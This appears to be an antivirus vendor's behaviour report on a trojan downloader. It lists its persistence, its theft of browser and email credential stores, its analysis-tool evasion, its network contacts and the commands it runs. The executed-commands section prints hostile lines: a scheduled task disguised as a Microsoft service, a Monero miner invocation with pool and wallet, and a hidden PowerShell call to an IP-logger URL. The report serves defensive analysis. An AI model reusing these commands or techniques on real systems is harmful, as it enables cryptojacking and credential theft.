Trojan.DownLoad4.14238

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\windows service В© microsoft corporation

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Windows\CPU\WinRing0x64.sys'

Creates the following services

'WinRing0_1_2_0' %APPDATA%\Windows\CPU\WinRing0x64.sys

Malicious functions

Searches for registry branches where third party applications store passwords

[<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
[<HKLM>\Software\Wow6432Node\Microsoft\Internet Account Manager]
[<HKLM>\Software\Microsoft\Internet Account Manager]
[<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings]
[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]

Reads files which store third party applications passwords

%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%APPDATA%\opera software\opera stable\login data

Searches for windows to

detect analytical utilities:

ClassName: 'RegmonClass', WindowName: ''
ClassName: 'FilemonClass', WindowName: ''
ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''

Modifies file system

Creates the following files

%LOCALAPPDATA%\4hauhoju.exe
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-heap-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-filesystem-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-environment-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-convert-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-conio-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-util-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-timezone-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-sysinfo-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-synch-l1-2-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-synch-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-string-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-rtlsupport-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-profile-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-processthreads-l1-1-1.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-processthreads-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-processenvironment-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-namedpipe-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\nssckbi.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\nss3.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\msvcp140.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\mozmapi32_inuse.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-locale-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-multibyte-l1-1-0.dll
%LOCALAPPDATA%low\ek8b20coa
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-private-l1-1-0.dll
%LOCALAPPDATA%low\6f7bsikcq-shm
%LOCALAPPDATA%low\6f7bsikcq
%LOCALAPPDATA%low\firefox_urls.txt
%LOCALAPPDATA%low\uujivz62m-shm
%LOCALAPPDATA%low\uujivz62m
%LOCALAPPDATA%low\fraqbc8ws-shm
%LOCALAPPDATA%low\fraqbc8ws
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-memory-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-localization-l1-2-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-libraryloader-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-interlocked-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-heap-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-handle-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-file-l2-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-core-file-l1-2-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-utility-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-time-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-string-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-stdio-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-runtime-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-process-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\mozmapi32.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\api-ms-win-crt-math-l1-1-0.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\mozglue.dll
%APPDATA%\windows\cpu\config.json
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%LOCALAPPDATA%low\chrome_urls.txt
%LOCALAPPDATA%low\xrpmcarcr4
%LOCALAPPDATA%low\idcdjoyapn
%LOCALAPPDATA%low\bbsqwy6yhk
%LOCALAPPDATA%low\gxix4a2dre
%LOCALAPPDATA%low\exuieaoeii
%LOCALAPPDATA%low\3solbph71y
%LOCALAPPDATA%low\x3cf3ednhm
%LOCALAPPDATA%low\rqf69azbla
%LOCALAPPDATA%low\rywtiizs2t
%LOCALAPPDATA%low\1xvpfvjcrg
%LOCALAPPDATA%low\fraqbc8wsa
%APPDATA%\windows\cpu.zip
%LOCALAPPDATA%\r32vbe4s.exe
%APPDATA%\windows\rantimebroker.exe
%LOCALAPPDATA%low\sqlite3.dll
%LOCALAPPDATA%\bd1zn2dg.exe
%LOCALAPPDATA%\rvo4faje.exe
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%APPDATA%\windows\cpu\winring0x64.sys
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\mapiproxy.dll
%APPDATA%\windows\cpu\cpu.exe
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\libegl.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\lgpllibs.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\ldif60.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\ldap60.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\ia2marshal.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\freebl3.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\breakpadinjector.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\accessiblemarshal.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\accessiblehandler.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\vcruntime140.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\ucrtbase.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\softokn3.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\qipcap.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\prldap60.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\nssdbm3.dll
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\ar8pj3hc8rg2st.zip
%TEMP%\nsxec04.tmp\x7tp7.dll
%TEMP%\ww.exe
%TEMP%\appsetup.exe
%WINDIR%\temp\udde82c.tmp
%LOCALAPPDATA%\jizu4vll.exe
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\mapiproxy_inuse.dll
%LOCALAPPDATA%low\ek8b20coa-shm

Sets the 'hidden' attribute to the following files

%APPDATA%\windows\rantimebroker.exe
%APPDATA%\windows\cpu.zip
%APPDATA%\windows\cpu\cpu.exe

Deletes the following files

%LOCALAPPDATA%low\fraqbc8wsa
%LOCALAPPDATA%low\6f7bsikcq
%LOCALAPPDATA%low\6f7bsikcq-shm
%LOCALAPPDATA%low\uujivz62m
%LOCALAPPDATA%low\uujivz62m-shm
%LOCALAPPDATA%low\fraqbc8ws
%LOCALAPPDATA%low\fraqbc8ws-shm
%LOCALAPPDATA%low\ee8sf0yg2eq6ft7\ar8pj3hc8rg2st.zip
%WINDIR%\temp\udde82c.tmp
%APPDATA%\windows\cpu.zip
%LOCALAPPDATA%low\xrpmcarcr4
%LOCALAPPDATA%low\idcdjoyapn
%LOCALAPPDATA%low\bbsqwy6yhk
%LOCALAPPDATA%low\gxix4a2dre
%LOCALAPPDATA%low\exuieaoeii
%LOCALAPPDATA%low\3solbph71y
%LOCALAPPDATA%low\x3cf3ednhm
%LOCALAPPDATA%low\rqf69azbla
%LOCALAPPDATA%low\rywtiizs2t
%LOCALAPPDATA%low\1xvpfvjcrg
%LOCALAPPDATA%low\ek8b20coa-shm
%LOCALAPPDATA%low\ek8b20coa

Network activity

Connects to

'ip###ger.org':80
'ip###ger.org':443
'microsoft.com':80
'pa###bin.com':443
'bl##.#gencia10x.com':80
'bl##.#gencia10x.com':443
'my####isalfred.top':443
'ac####tionkey.space':80
'19#.2.84.91':80

TCP

HTTP GET requests

http://bl##.#gencia10x.com/Windscribe.exe
http://bl##.#gencia10x.com/new_miner_pb.exe
http://bl##.#gencia10x.com/Commoves.exe

'ip###ger.org':443

'pa###bin.com':443

'bl##.#gencia10x.com':443

'te##te.in':443

'my####isalfred.top':443

UDP

DNS ASK ip###ger.org
DNS ASK microsoft.com
DNS ASK pa###bin.com
DNS ASK bl##.#gencia10x.com
DNS ASK te##te.in
DNS ASK my####isalfred.top
DNS ASK ac####tionkey.space
DNS ASK po##.#inexmr.com

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: 'Task Manager'
ClassName: '' WindowName: 'Диспетчер задач'
ClassName: '' WindowName: 'AnVir Task Manager'
ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
ClassName: '18467-41' WindowName: ''
ClassName: 'File Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
ClassName: 'Process Monitor - Sysinternals: www.sysinternals.com' WindowName: ''

Creates and executes the following

'%LOCALAPPDATA%\4hauhoju.exe'
'%LOCALAPPDATA%\rvo4faje.exe'
'%LOCALAPPDATA%\bd1zn2dg.exe'
'%APPDATA%\windows\cpu\cpu.exe' -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 86TaGXiVBvoNQJoeFcAbL8ZjsyaJi8LT1gQtW4oHvLXcYSxwCbQqbgbH4ctG8ncp3X9edigx6FJZMZGy4QWFUMxK5hXa6BF./ --donate-level=1
'%LOCALAPPDATA%\r32vbe4s.exe'
'%LOCALAPPDATA%\jizu4vll.exe'
'%TEMP%\ww.exe'
'%TEMP%\appsetup.exe'
'%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 1 /tn "Windows Service В© Microsoft Corporation" /tr "%APPDATA%\Windows\RantimeBroker.exe" /f' (with hidden window)
'%WINDIR%\hh.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c start "" "appsetup.exe" & start "" "ww.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1rcq67"' (with hidden window)

Executes the following

'%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 1 /tn "Windows Service В© Microsoft Corporation" /tr "%APPDATA%\Windows\RantimeBroker.exe" /f
'%WINDIR%\hh.exe'
'%WINDIR%\syswow64\cmd.exe' /c start "" "appsetup.exe" & start "" "ww.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1rcq67"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "Invoke-WebRequest -Uri https://iplogger.org/1rcq67"
'<SYSTEM32>\taskeng.exe' {D6414614-5A1E-4405-8574-5C6EC36ABBDD} S-1-5-21-1960123792-2022915161-3775307078-1001:sqcnruusiqm\user:Interactive:[1]

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней